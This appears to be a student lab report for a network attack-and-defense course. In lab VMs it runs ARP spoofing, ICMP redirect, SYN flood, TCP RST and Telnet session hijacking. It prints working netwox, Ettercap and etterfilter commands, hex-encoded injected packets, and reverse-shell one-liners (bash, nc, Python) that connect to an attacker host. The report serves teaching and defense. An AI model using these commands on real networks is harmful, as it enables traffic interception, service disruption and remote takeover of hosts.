20253913 2025-2026-2 《网络攻防实践》第四周作业

《网络攻防实践》课程第四次作业实验报告

一、实践内容

1.1 实验目的与任务概述

本次实验在网络攻防实验环境中，围绕 TCP/IP 协议栈中若干关键协议及其安全问题展开，重点完成以下五类攻击实验：

1. ARP 缓存欺骗攻击
2. ICMP 重定向攻击
3. SYN Flood 攻击
4. TCP RST 攻击
5. TCP 会话劫持相关实验

本次实验的核心目标并不只是“复现攻击现象”，更重要的是通过实验理解：TCP/IP 协议栈在设计之初更强调互联互通，而非默认安全，因此局域网信任机制、路由更新机制、TCP 连接管理机制等都可能被攻击者利用。通过本次实验，可以更加直观地认识到网络层与传输层协议在缺乏身份校验、缺乏完整性保护时存在的安全风险，从而为后续学习入侵检测、防火墙规则设计、加密通信与协议加固打下基础。

1.2 TCP/IP 协议栈相关协议及安全意义

1.2.1 ARP 协议及其安全问题

ARP（Address Resolution Protocol，地址解析协议）用于在局域网内完成 IP 地址到 MAC 地址的映射。主机在通信前，需要通过 ARP 查询目标 IP 对应的链路层地址，并将解析结果缓存在 ARP 表中，以减少重复广播带来的开销。

ARP 协议本身缺乏认证机制，主机通常默认接受收到的 ARP 应答并更新本地缓存。因此，攻击者可以伪造 ARP 响应，把“某个 IP 地址对应的 MAC 地址”错误地指向攻击者自己的网卡地址，从而实现中间人攻击、流量劫持、会话监听、拒绝服务等效果。ARP 欺骗是局域网攻防实验中最经典也最基础的技术之一，它说明了“局域网内并不天然可信”。

1.2.2 ICMP 协议及其安全问题

ICMP（Internet Control Message Protocol，互联网控制报文协议）主要用于网络诊断和差错报告，例如 ping、traceroute、重定向、目标不可达等功能都依赖 ICMP 报文。

其中，ICMP Redirect（重定向）用于告诉主机“去往某个目标的更优下一跳是什么”。如果攻击者伪造来自网关的 ICMP 重定向报文，受害主机可能会误以为出现了新的更优路由，从而把本应发往网关的数据改为发往攻击者主机。这类攻击说明：控制类报文一旦缺乏校验，就可能成为篡改路由决策的工具。

1.2.3 TCP 协议及其安全问题

TCP（Transmission Control Protocol，传输控制协议）是面向连接、可靠传输的协议，广泛用于 Web、Telnet、SSH、邮件等应用。TCP 通过三次握手建立连接，通过序列号与确认号保证数据有序可靠到达。

但 TCP 的连接管理机制也可能被滥用：

• SYN Flood 利用三次握手中的半连接状态，大量发送 SYN 报文，迫使服务器维持大量未完成连接，消耗系统资源；
• TCP RST 攻击 通过伪造复位报文强制中断现有 TCP 连接；
• TCP 会话劫持 则是在获得连接状态信息后，伪造合法一方报文，实现插入、篡改甚至接管会话。

这些实验说明，TCP 虽然提供了可靠传输能力，但在未结合认证、加密和完整性保护的情况下，仍可能遭受严重的主动攻击。

1.3 各攻击方式在网络攻防中的作用

从攻防视角看，本次实验中的五类攻击并不是相互孤立的，它们在真实攻击链中往往具有明显的衔接关系：

• ARP 欺骗 常作为局域网中间人攻击的入口；
• ICMP 重定向 可用于影响目标主机的路由选择，使流量绕经攻击者；
• SYN Flood 主要体现拒绝服务思想，用于压制目标服务的可用性；
• TCP RST 常被用于强制断开连接，破坏稳定通信；
• TCP 会话劫持 则属于更进一步的控制型攻击，目标是监听、插入甚至接管会话。

也就是说，本次实验既体现了可用性破坏，也体现了机密性泄露与完整性破坏，覆盖了网络攻防中非常典型的几类安全威胁。

1.4 实验环境与主机信息

本次实验环境中的主要主机如下。

主机名称	角色	IP 地址	MAC 地址
网关	默认网关/路由设备	192.168.5.1	未单独记录
SEEDUbuntu	实验主机/受害机之一	192.168.5.4	00:0c:29:b8:5e:7f
Metasploitable	靶机	192.168.5.7	00:0c:29:ef:26:c3
Kali	攻击机	192.168.5.3	00:0c:29:df:4d:81

1.5 实验总体思路

本次实验总体采用“先建立正常通信，再实施攻击，最后观察协议状态变化和业务表现”的思路。实验过程中，通过 ping、arp -a、route -n、telnet、Wireshark 抓包以及 Ettercap 图形界面等方式，对攻击前后的网络行为进行验证和记录。

---

二、实验过程

2.1 ARP缓存欺骗攻击

2.1.1 实验目的

验证局域网中主机 ARP 缓存项可被伪造更新，观察受害主机对目标 IP 地址的 MAC 地址映射被篡改后的表现，从而说明 ARP 协议缺乏身份认证所带来的安全风险。

2.1.2 实验原理

当一台主机需要与局域网内另一台主机通信时，会先查询本机 ARP 缓存；如果不存在对应项，则通过广播 ARP 请求来获取目标主机的 MAC 地址。一旦收到 ARP 应答，系统会将“IP-MAC 映射关系”写入本地 ARP 表。

ARP 欺骗的核心思想是：攻击者伪造 ARP 应答报文，把某个合法 IP 地址与攻击者自己的 MAC 地址绑定起来。这样，受害主机后续发往该 IP 的数据帧就会错误地交给攻击者。若攻击者继续转发数据，则可以形成中间人攻击；若不转发，则会造成通信中断。

2.1.3 实验步骤

首先，在 SEEDUbuntu 主机上与 Metasploitable 主机进行正常连通性测试，并通过查看 ARP 缓存确认攻击前的映射关系是正确的。受害主机在攻击前的 arp -a 结果如下所示，此时目标主机 192.168.5.7 对应的是真实 MAC 地址。

随后，在 Kali 攻击机上构造伪造 ARP 应答报文，向局域网广播错误映射信息，把 192.168.5.7 对应的 MAC 地址伪装为 Kali 的网卡地址 00:0c:29:df:4d:81。在 Kali 中使用 netwox 命令发送 ARP 欺骗包，向局域网中所有主机广播 meta 主机的网卡地址为 00:0c:29:df:4d:81（实际为 00:0c:29:ef:26:c3），命令为：

netwox 80 -e 00:0c:29:df:4d:81 -i 192.168.5.7

这里使用的是 netwox 80 号工具，其作用是构造并发送伪造的 ARP 应答报文，用于实施 ARP 欺骗。
本实验中涉及的主要参数含义如下：

• 80：表示调用 netwox 的第 80 号工具，即 ARP 欺骗相关功能；
• -e 00:0c:29:df:4d:81：指定伪造报文中声明的 MAC 地址，本实验中填写为 Kali 攻击机的网卡地址；
• -i 192.168.5.7：指定要被伪装的 IP 地址，即告诉局域网内主机“192.168.5.7 对应的 MAC 地址是攻击机的 MAC”。
  该命令执行后，受害主机若接受该 ARP 应答，就会把目标 IP 的映射错误更新为攻击机的 MAC 地址。

攻击实施后，再次回到 SEEDUbuntu 主机查看 ARP 表，可以发现 192.168.5.7 的 MAC 地址已不再是其真实值 00:0c:29:ef:26:c3，而是被错误更新为攻击机的 MAC 地址 00:0c:29:df:4d:81。这表明 ARP 欺骗已经成功。

之后我们在192.168.5.4主机上重新ping 192.168.5.7

Wireshark抓包发现：

从上图中我们可以看到，ping 发出的 ICMP 数据包：网络层的目的IP是192.168.5.7主机，但是MAC地址却是192.168.5.3主机的。

2.1.4 实验结果分析

该实验说明，在缺乏认证机制的情况下，ARP 缓存项完全可能被攻击者主动污染。一旦受害主机依据错误 ARP 表项进行通信，发送给目标主机的数据就会先到达攻击者。此时攻击者具备两种典型能力：

1. 不转发数据，造成拒绝服务；
2. 转发数据并继续保持连接，形成中间人监听与篡改。

也就是说，ARP 欺骗既可以单独作为攻击手段，也可以作为后续会话监听、口令窃取、会话劫持等攻击的前置条件。

---

2.2 ICMP重定向攻击

2.2.1 实验目的

验证攻击者可以伪造 ICMP Redirect 报文，误导受害主机修改路由选择，使其本应发往默认网关的数据改经攻击机转发。

2.2.2 实验原理

ICMP 重定向报文通常由路由器发出，用于告诉主机：访问某一目标时存在“更优下一跳”，建议后续通信改用新的网关。正常情况下，这属于网络优化机制；但如果攻击者伪造此类报文，并使受害主机误信其来自默认网关，则受害主机会更新本地路由决策。

在本实验中，攻击者伪造“来自网关 192.168.5.1”的重定向信息，诱导 SEEDUbuntu 主机在访问特定目标时，把下一跳从原网关改为 Kali 攻击机 192.168.5.3。这样，相关通信流量就会被重定向到攻击机。

2.2.3 实验步骤

首先，在 SEEDUbuntu 主机上使用 route -n 查看当前路由表，确认默认网关为 192.168.5.1。随后，为了验证正常网络连通性，在 SEEDUbuntu 上访问外部站点，并记录访问过程。ping baidu.com并抓包显示。

在kali中执行

netwox 86 -f "host 192.168.5.4" -g 192.168.5.3 -i 192.168.5.1

这里使用的是 netwox 86 号工具，其作用是构造并发送 ICMP Redirect（重定向）报文。
本实验中涉及的主要参数含义如下：

• 86：表示调用 netwox 的第 86 号工具，即 ICMP 重定向相关功能；
• -f "host 192.168.5.4"：指定受该重定向影响的主机过滤条件，这里表示目标为受害主机 192.168.5.4；
• -g 192.168.5.3：指定伪造重定向报文中建议的新网关地址，即让受害主机把后续流量改经 Kali 攻击机转发；
• -i 192.168.5.1：指定伪造报文中的发送者地址，这里伪装成默认网关 192.168.5.1。
  也就是说，该命令的核心目的，是让受害主机误以为“来自网关的路由优化建议”要求其改用攻击机作为新的下一跳。

ICMP重定向攻击成功，路由的下一跳地址被修改为了192.168.5.3

2.2.4 实验结果分析

从实验结果可以看出，SEEDUbuntu 主机在接收到伪造的重定向报文后，已经接受了新的下一跳建议。这说明主机在处理控制类协议报文时，如果缺少来源真实性验证，就可能被攻击者篡改路由行为。

该攻击的危险性主要体现在两方面：

1. 通信路径被隐蔽改变：受害主机表面上仍在正常访问目标，但数据实际上先经过攻击机；
2. 可与中间人攻击结合：一旦流量被引到攻击者处，攻击者就可以进一步嗅探、篡改甚至丢弃数据。

因此，ICMP 重定向攻击本质上体现的是网络层控制报文缺乏认证所引发的安全问题。

---

2.3 SYN Flood攻击

2.3.1 实验目的

验证攻击者可以针对目标服务端口持续发送大量 SYN 报文，从而使目标主机不断维持半连接状态，消耗系统资源，影响服务可用性。

2.3.2 实验原理

TCP 在建立连接时需要经过三次握手：客户端发送 SYN，服务器回复 SYN+ACK，客户端再发送 ACK。若攻击者只发送大量 SYN 而不完成最后一步握手，服务器就会在一段时间内为这些“尚未完成的连接请求”保留资源，形成大量半连接。

当半连接积累到一定程度时，服务器的连接队列和相关资源会被持续占用，正常用户的新连接请求就可能无法被及时处理，这就是典型的 SYN Flood 攻击。

2.3.3 实验步骤

本实验中，先由 SEEDUbuntu 主机正常访问 Metasploitable 主机提供的 Telnet 服务，以说明目标服务在攻击前处于正常可用状态。

随后，Kali 攻击机针对 Metasploitable 主机的 23 端口持续发起 SYN 请求，并同时利用 Wireshark 抓包观察网络流量。

kali中执行：

netwox 76 -i 192.168.5.7 -p 23

这里使用的是 netwox 76 号工具，其作用是向目标主机指定端口持续发送 TCP SYN 报文，用于模拟 SYN Flood 攻击。
本实验中涉及的主要参数含义如下：

• 76：表示调用 netwox 的第 76 号工具，即 TCP SYN Flood 相关功能；
• -i 192.168.5.7：指定攻击目标主机的 IP 地址；
• -p 23：指定攻击目标端口为 23，即 Telnet 服务端口。
  该工具运行后，会持续向 192.168.5.7:23 发送大量 SYN 请求，使目标主机不断为未完成握手的连接分配资源，从而形成半连接压力。

可以看到 Kali 不断向 192.168.5.7:23 发送 TCP SYN 报文，这正是 SYN Flood 攻击的典型流量特征。

2.3.4 实验结果分析

从抓包结果看，攻击机确实持续向靶机 23 端口发起大量 SYN 连接请求，说明攻击流量已经成功产生。已成功构造并观察到面向 Telnet 服务的 SYN Flood 攻击流量，对目标主机形成持续半连接压力。

---

2.4 TCP RST攻击

2.4.1 实验目的

验证攻击者可以通过伪造 TCP RST 报文，强制终止已建立的 TCP 会话，从而破坏正常连接。

2.4.2 实验原理

TCP RST（Reset）报文用于异常终止连接。当通信一方收到符合当前连接状态的 RST 报文时，通常会立即释放连接资源并终止会话。若攻击者能够伪造看似来自合法通信一方的 RST 报文，并满足目标连接的状态条件，就可能使原本正常的会话被强制中断。

这种攻击常被用于干扰远程登录、断开长连接、阻止管理操作等，体现了 TCP 连接管理机制在缺乏认证条件下的脆弱性。

2.4.3 实验步骤

首先，由 SEEDUbuntu 主机正常登录 Metasploitable 的 Telnet 服务，建立一条稳定的 TCP 会话。在攻击前，SEEDUbuntu 与 192.168.5.7 之间的 Telnet 连接能够成功建立并保持正常交互。

随后，Kali 攻击机针对靶机发起 TCP RST 攻击，向目标会话注入复位报文。

kali中执行：

netwox 78 -i 192.168.5.7

这里使用的是 netwox 78 号工具，其作用是伪造并发送 TCP RST 报文，用于中断目标主机上的现有 TCP 连接。
本实验中涉及的主要参数含义如下：

• 78：表示调用 netwox 的第 78 号工具，即 TCP 连接复位攻击相关功能；
• -i 192.168.5.7：指定攻击目标主机的 IP 地址。
  该工具会尝试针对目标主机当前存在的 TCP 会话构造复位报文，一旦报文满足连接状态条件，对端收到后就可能立即释放连接并终止会话。

攻击实施后，回到 SEEDUbuntu 终端可以观察到原有连接被异常断开，提示 Connection closed by foreign host。该现象说明会话确实被 RST 报文强制终止。

2.4.4 实验结果分析

该实验表明，只要攻击者具备合适的网络位置和连接状态信息，就可以利用 TCP RST 报文破坏现有会话。对于明文远程管理协议或缺乏额外保护的会话而言，这类攻击会直接影响业务连续性。

从防御角度看，减少明文协议使用、启用加密与认证、增强异常报文检测能力，是降低 TCP RST 攻击风险的重要方式。

---

2.5 TCP会话劫持攻击

2.5.1 实验目的

通过Ettercap、netwox工具，完成基于 ARP 欺骗的 Telnet 会话监听与会话劫持前置验证，以及主动注入数据、篡改会话内容、冒充通信一方继续通信的完整“会话接管”过程。

2.5.2 实验原理

TCP 会话劫持是指攻击者在掌握现有 TCP 连接状态信息的基础上，伪造其中一方的数据报文插入到合法会话中，从而达到篡改会话内容、冒充合法用户执行命令，甚至进一步接管会话的目的。

该攻击成功通常需要满足以下几个前提条件：

1. 攻击者能够进入通信路径中间。
   在本实验中，这一步通过 ARP 欺骗实现。攻击机 Kali 通过伪造 ARP 应答，使 SEEDUbuntu 与 Metasploitable 的数据流量先经过 Kali，从而获得中间人位置。
2. 攻击者能够持续观察并分析连接状态。
   TCP 会话的数据注入并不是“随便发一个包”就能成功，而是必须与当前连接状态保持一致。攻击者需要根据抓包结果获得连接的四元组信息（源 IP、目的 IP、源端口、目的端口），并重点关注当前会话的 Sequence Number（序列号） 与 Acknowledgment Number（确认号），否则伪造报文将无法被对端正确接受。
3. 应用层协议缺乏加密与身份保护。
   本实验中使用的是 Telnet。由于 Telnet 以明文形式传输账号、密码和交互命令，攻击者既可以直接监听敏感信息，也可以根据已观察到的业务上下文构造更逼真的注入内容，因此比在加密协议场景下更容易完成会话劫持。

此外，如果攻击者在不了解会话当前状态的情况下盲目插入数据，极易导致双方对期望序列号判断不一致，从而引发 ACK 风暴。因此，本实验采用的核心思路是：先通过 ARP 欺骗把自己置于链路中间，再通过抓包精确获取连接状态，最后构造与当前会话同步的伪造 TCP 数据报文进行注入。

2.5.3 实验步骤

(1) 会话监听

首先，在 Kali 主机上启动 Ettercap 图形界面，对局域网中的主机进行扫描，识别出 SEEDUbuntu（192.168.5.4）和 Metasploitable（192.168.5.7）两台主机。随后，将两者分别加入 Target1 和 Target2，并选择基于 ARP 欺骗 的中间人劫持方式，使攻击机处于两台主机的通信路径之间。

点击对号

开始扫描主机

扫描完成后，选择Host list查看。

随后，在 Ettercap 中将 SEEDUbuntu 与 Metasploitable 分别加入 Target1 和 Target2。

接下来选择劫持方式为ARP欺骗劫持，通过ettercap menu->view->connections查看连接。这样，攻击机就被置于两台主机之间，具备监听通信的能力。

由于TCP通信需要提供两段序列号以保证连接同步和安全通信，如果双方序列号不同，会导致ACK风暴。所以攻击者在不知道序列号的情况下是不可能攻击成功的。因此，若能够使得要攻击的网络通信经过攻击者控制的主机，那结合网络嗅探技术就可以获取到序列号等信息，从而很容易地实施会话劫持攻击。比较好的解决办法是先进行ARP欺骗，使双方的数据包“正常”的发送到攻击者这里，然后设置包转发，最后就可以进行会话劫持了，而且不必担心会有ACK风暴出现。

ACK风暴：当会话双方接收到一个不期望的数据包后，就会用自己期望的序列号返回ack包；而在另一端，这个数据包也不是所期望的，就会再次以自己期望的序列号返回ACK包，于是来回往返形成了恶性循环，最终导致ACK风暴。

选择ok

中间人位置建立后，由 SEEDUbuntu 主机发起到 Metasploitable 的 Telnet 登录。

点击View - Connections查看信息

当中间人位置建立后，由 SEEDUbuntu 主机正常发起到 Metasploitable 的 Telnet 连接。此时，在 Kali 的 Ettercap 连接视图中可以看到对应的 TCP 会话；进一步查看连接数据后，可以直接观察到 Telnet 会话中的明文内容，包括登录用户名、密码以及后续输入的命令和回显结果。

后续执行例如whoami、ls命令，都可以被监听到。

这一步说明：在明文协议场景下，只要攻击者能够通过 ARP 欺骗进入链路中间，就可以直接窃取会话中的敏感信息。但此时攻击机更多体现为“被动监听者”，虽然已经具备获取会话内容的能力，却还没有完成真正意义上的主动控制。

(2) 会话劫持

提前在192.168.5.7主机上新建了一个flag.txt文件，看最后能不到读取到。

在完成会话监听后，为了进一步验证是否能够主动插入命令并影响现有 Telnet 会话，本实验继续使用 Wireshark 对该 TCP 连接进行抓包分析。通过过滤 Telnet 数据流，定位到会话中最新的数据包，提取出当前连接的关键参数，包括：

• 源 IP 与目的 IP；
• 源端口与目的端口；
• 当前有效的序列号与确认号；
• TCP 窗口信息；
• 应用层命令对应的十六进制数据内容。

随后，在 Kali 主机上使用 netwox 40 号工具构造伪造的 TCP 数据报文，将攻击机伪装成 SEEDUbuntu 向 Metasploitable 所在的 Telnet 会话注入命令。实验中先后尝试注入了 pwd、ls、cat flag.txt 等命令，并通过调整报文中的序列号、确认号及数据字段，使其与当前会话状态保持一致。

在最初的注入过程中，虽然伪造报文已经发出，但并未立即获得预期回显。后续通过对正常 Telnet 输入报文进行比对，发现命令数据末尾需要携带回车换行相关字节，且序列号必须与最新会话进度严格匹配。对这些细节修正之后，注入命令开始能够在目标会话中被执行，并成功获得诸如目录列表、文件内容等回显信息。这表明：攻击者已经不仅能监听，还能主动向现有会话中插入有效数据。

在此基础上，实验继续尝试通过注入反向连接命令实现更进一步的会话接管。实验过程中先后尝试了基于 bash、nc 的方式，但均未稳定获得预期结果。最后改为注入基于 Python 的反向连接代码，在监听端配合接收后，最终成功建立由目标主机反向发起的 shell 连接。至此，攻击者已不再只是借助原有 Telnet 会话插入单条命令，而是进一步取得了一个由目标机主动连接回攻击机的交互式 shell，说明实验已从“会话监听”发展到“主动注入并接管执行环境”。

找到最后一个telnet包

pwd命令

在线转换进制CTF在线工具-CTF工具|CTF编码|CTF密码学|CTF加解密|程序员工具|在线编解码

netwox 40 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.5.4 --ip4-dst 192.168.5.7 --tcp-src 50291 --tcp-dst 23 --tcp-seqnum 1940272506 --tcp-acknum 3653868984 --tcp-ack --tcp-psh --tcp-window 217 --tcp-data "70 77 64 0d 00"

这里使用的是 netwox 40 号工具，其作用是手工构造并发送原始 IPv4/TCP 数据报文，因此非常适合用于 TCP 会话注入与劫持实验。
本实验中涉及的主要参数含义如下：

• 40：表示调用 netwox 的第 40 号工具，即自定义构造并发送 IPv4/TCP 报文；
• --ip4-ttl 64：设置 IP 报文的 TTL 值；
• --ip4-protocol 6：指定 IP 层承载的上层协议为 TCP，其中协议号 6 表示 TCP；
• --ip4-src 192.168.5.4：伪造源 IP 地址为 SEEDUbuntu，使报文看起来像是受害主机发出；
• --ip4-dst 192.168.5.7：指定目的 IP 地址为 Metasploitable；
• --tcp-src 50291：指定伪造报文的源端口，需要与当前 Telnet 会话中客户端端口一致；
• --tcp-dst 23：指定目的端口为 Telnet 服务端口 23；
• --tcp-seqnum ...：设置 TCP 序列号，必须与当前连接状态严格匹配；
• --tcp-acknum ...：设置 TCP 确认号，同样需要与当前会话同步；
• --tcp-ack：设置 ACK 标志位，表示该报文属于已建立连接中的确认报文；
• --tcp-psh：设置 PSH 标志位，提示接收方尽快把数据交付给上层应用；
• --tcp-window 217：设置 TCP 窗口大小；
• --tcp-data "..."：指定要注入的应用层数据内容，这里使用十六进制形式写入要执行的命令。
  这一工具的关键点在于：只有当伪造报文中的会话四元组、序列号、确认号和数据格式都与现有连接状态匹配时，注入内容才可能被目标主机当作合法 Telnet 输入接收并执行。

这里并没有给出预期的结果，不知道是网络问题还是环境问题导致的；又重新构造一个包发送

ls命令

netwox 40 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.5.4 --ip4-dst 192.168.5.7 --tcp-src 50291 --tcp-dst 23 --tcp-seqnum 1940272511 --tcp-acknum 3653868989 --tcp-ack --tcp-psh --tcp-window 217 --tcp-data "6c 73 0d 00"

发现带出来了上一次命令的回显

下面尝试一下反向shell

bash -i>&/dev/tcp/192.168.5.3/8888 0>&1

netwox 40 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.5.4 --ip4-dst 192.168.5.7 --tcp-src 50291 --tcp-dst 23 --tcp-seqnum 1940272515 --tcp-acknum 3653869032 --tcp-ack --tcp-psh --tcp-window 217 --tcp-data "62 61 73 68 20 2d 69 3e 26 2f 64 65 76 2f 74 63 70 2f 31 39 32 2e 31 36 38 2e 35 2e 33 2f 38 38 38 38 20 30 3e 26 31 0d 00"

同样带出了上一次命令的回显

cat flag.txt

netwox 40 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.5.4 --ip4-dst 192.168.5.7 --tcp-src 50291 --tcp-dst 23 --tcp-seqnum 1940272556 --tcp-acknum 3653869085 --tcp-ack --tcp-psh --tcp-window 217 --tcp-data "63 61 74 20 66 6c 61 67 2e 74 78 74 0d 00"

gg😅

先把flag读出来

netwox 40 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.5.4 --ip4-dst 192.168.5.7 --tcp-src 50291 --tcp-dst 23 --tcp-seqnum 1940272570 --tcp-acknum 3653869214 --tcp-ack --tcp-psh --tcp-window 217 --tcp-data "6c 73 0d 00 0d 00"

多加了一个0d 00，问题不大

flag正常读出来没有问题

下面再换一种反向shell的姿势，使用nc

生成反向shellhttps://www.revshells.com/

nc 192.168.5.3 8888 -e /bin/bash

netwox 40 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.5.4 --ip4-dst 192.168.5.7 --tcp-src 50291 --tcp-dst 23 --tcp-seqnum 1940272576 --tcp-acknum 3653869273 --tcp-ack --tcp-psh --tcp-window 217 --tcp-data "6e 63 20 31 39 32 2e 31 36 38 2e 35 2e 33 20 38 38 38 38 20 2d 65 20 2f 62 69 6e 2f 62 61 73 68 0d 00"

同理再发一个ls的包

netwox 40 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.5.4 --ip4-dst 192.168.5.7 --tcp-src 50291 --tcp-dst 23 --tcp-seqnum 1940272610 --tcp-acknum 3653869355 --tcp-ack --tcp-psh --tcp-window 217 --tcp-data "6c 73 0d 00"

没有反弹过来

再换一种

nc -c /bin/sh 192.168.5.3 8888

netwox 40 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.5.4 --ip4-dst 192.168.5.7 --tcp-src 50291 --tcp-dst 23 --tcp-seqnum 1940272614 --tcp-acknum 3653869389 --tcp-ack --tcp-psh --tcp-window 217 --tcp-data "6e 63 20 2d 63 20 2f 62 69 6e 2f 73 68 20 31 39 32 2e 31 36 38 2e 35 2e 33 20 38 38 38 38 0d 00"

netwox 40 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.5.4 --ip4-dst 192.168.5.7 --tcp-src 50291 --tcp-dst 23 --tcp-seqnum 1940272646 --tcp-acknum 3653869393 --tcp-ack --tcp-psh --tcp-window 217 --tcp-data "6c 73 0d 00"

还是不行；.7主机是有nc的，不知道为什么还是不行

发现是有python环境的，后面再试一下python

查了一下资料，先去尝试使用shijack-lnx工具

sudo ./shijack-lnx eth0 192.168.5.4 50291 192.168.5.7 23

劫持成功

但是又没有回显

再换回netwox并使用python构造反向shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.5.3",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

netwox 40 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.5.4 --ip4-dst 192.168.5.7 --tcp-src 47699 --tcp-dst 23 --tcp-seqnum 336449116 --tcp-acknum 2037931334 --tcp-ack --tcp-psh --tcp-window 217 --tcp-data "70 79 74 68 6f 6e 20 2d 63 20 27 69 6d 70 6f 72 74 20 73 6f 63 6b 65 74 2c 73 75 62 70 72 6f 63 65 73 73 2c 6f 73 3b 73 3d 73 6f 63 6b 65 74 2e 73 6f 63 6b 65 74 28 73 6f 63 6b 65 74 2e 41 46 5f 49 4e 45 54 2c 73 6f 63 6b 65 74 2e 53 4f 43 4b 5f 53 54 52 45 41 4d 29 3b 73 2e 63 6f 6e 6e 65 63 74 28 28 22 31 39 32 2e 31 36 38 2e 35 2e 33 22 2c 38 38 38 38 29 29 3b 6f 73 2e 64 75 70 32 28 73 2e 66 69 6c 65 6e 6f 28 29 2c 30 29 3b 20 6f 73 2e 64 75 70 32 28 73 2e 66 69 6c 65 6e 6f 28 29 2c 31 29 3b 6f 73 2e 64 75 70 32 28 73 2e 66 69 6c 65 6e 6f 28 29 2c 32 29 3b 69 6d 70 6f 72 74 20 70 74 79 3b 20 70 74 79 2e 73 70 61 77 6e 28 22 2f 62 69 6e 2f 62 61 73 68 22 29 27 0d 00"

同理再发一次

netwox 40 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.5.4 --ip4-dst 192.168.5.7 --tcp-src 47699 --tcp-dst 23 --tcp-seqnum 336449342 --tcp-acknum 2037931335 --tcp-ack --tcp-psh --tcp-window 217 --tcp-data "70 79 74 68 6f 6e 20 2d 63 20 27 69 6d 70 6f 72 74 20 73 6f 63 6b 65 74 2c 73 75 62 70 72 6f 63 65 73 73 2c 6f 73 3b 73 3d 73 6f 63 6b 65 74 2e 73 6f 63 6b 65 74 28 73 6f 63 6b 65 74 2e 41 46 5f 49 4e 45 54 2c 73 6f 63 6b 65 74 2e 53 4f 43 4b 5f 53 54 52 45 41 4d 29 3b 73 2e 63 6f 6e 6e 65 63 74 28 28 22 31 39 32 2e 31 36 38 2e 35 2e 33 22 2c 38 38 38 38 29 29 3b 6f 73 2e 64 75 70 32 28 73 2e 66 69 6c 65 6e 6f 28 29 2c 30 29 3b 20 6f 73 2e 64 75 70 32 28 73 2e 66 69 6c 65 6e 6f 28 29 2c 31 29 3b 6f 73 2e 64 75 70 32 28 73 2e 66 69 6c 65 6e 6f 28 29 2c 32 29 3b 69 6d 70 6f 72 74 20 70 74 79 3b 20 70 74 79 2e 73 70 61 77 6e 28 22 2f 62 69 6e 2f 62 61 73 68 22 29 27 0d 00"

终于成功了😊

2.5.4 实验结果分析

本实验表明，TCP 会话劫持并不是单一技术点，而是一个由多个条件共同支撑的攻击过程。

首先，ARP 欺骗解决的是“位置问题”。只有让流量经过攻击机，攻击者才有机会稳定获取 TCP 会话的状态信息。其次，Telnet 明文传输暴露了应用层内容，使攻击者不仅能够看到口令，还能根据交互内容判断当前会话处于什么状态，从而更精确地实施数据注入。再次，TCP 会话劫持对连接状态同步要求极高，序列号、确认号、窗口大小以及命令结尾格式等细节如果处理不当，就会导致注入失败，甚至引发连接异常。

从实验现象看，本次实验实际上完成了三个层次的验证：

1. 会话监听成功：能够通过中间人位置看到 Telnet 的明文账号、密码和命令内容；
2. 会话注入成功：能够向合法会话中插入 pwd、ls、cat flag.txt 等命令并获得结果；
3. 会话接管成功：通过进一步注入反向连接代码，最终获得目标主机的交互式 shell。

因此，本实验已经不只是“会话劫持前置验证”，而是较完整地展示了 “中间人建立—状态分析—命令注入—会话接管” 的攻击链条。它说明：当网络层可被 ARP 欺骗、传输层连接缺乏认证、应用层又采用明文协议时，攻击者完全有可能从监听一步步发展到主动控制。

从防御角度看，这一实验也直接说明了以下措施的重要性：限制 ARP 欺骗、减少明文协议使用、部署加密远程管理协议（如 SSH）、加强异常 TCP 报文检测，以及在交换网络中启用更严格的二层安全机制。

---

三、学习中遇到的问题及解决

问题一：Ettercap 可以完成监听，但难以直接完成稳定的主动命令注入

在会话监听阶段，Ettercap 图形界面能够较方便地实现 ARP 欺骗、中间人建立以及 Telnet 明文数据观察，因此非常适合完成“被动监听”部分实验。但在继续尝试主动注入命令时，仅依靠图形界面并不能直接满足需求。

为了解决这一问题，我尝试查阅资料，学习使用 Ettercap Filter 机制，通过编写 .ecf 脚本把正常命令替换为预设恶意命令，再编译为 .ef 过滤器加载执行。该方法在思路上是可行的，即：当通信中出现指定关键字时，由攻击机对报文内容进行替换，让目标主机实际执行的并不是用户原本输入的命令。

首先新建一个 whoami.ecf文件，该文件是监测到TCP会话中的whoami命令后将其替换为恶意命令如反向shell操作发送给受害主机执行。

if (ip.proto == TCP && tcp.src == 4444 && search(DATA.data, "whoami") ) {
  log(DATA.data, "/root/ettercap.log");
  replace("whoami", "<reverse_shell>" );
  msg("###### ETTERFILTER: substituted 'whoami' with reverse shell. ######\n");
}

接下来进行编译

etterfilter whoami.ecf -o whoami.ef

编译好执行该命令攻击

ettercap -T -i eth1 -M arp -F whoami.ef

但是在实际操作中，这种方式并未获得稳定、可复现的实验结果，Wireshark 中也没有观察到理想的命令执行回显。分析原因，一方面可能与过滤规则触发条件较苛刻有关，另一方面也可能与当前实验环境中的交互节奏、会话状态同步以及数据替换长度等因素有关。最终，我将实验重点转向 netwox 40 所提供的原始 TCP 报文构造方式，改为手动精确控制注入报文中的各项参数。实践证明，这种方法虽然操作更繁琐，但更适合用于验证 TCP 会话劫持中的“状态同步”和“数据注入”过程。

问题二：Wireshark 默认显示相对序列号，导致构造报文时参数取值错误

在使用 Wireshark 分析 Telnet 会话并准备注入报文时，我一开始直接参考了抓包界面中显示的 Sequence Number 和 Acknowledgment Number，随后将这些数值填入 netwox 命令中。但实验结果显示，伪造报文虽然被发出，却始终无法被目标会话正常接受。

后续排查发现，问题出在 Wireshark 默认启用了 Relative Sequence Numbers（相对序列号）。界面中看到的序列号并不是报文头部里的真实值，而是“相对初始序列号计算后的显示值”。如果直接把这个相对值用于报文伪造，就会导致 TCP 状态不匹配，注入自然失败。

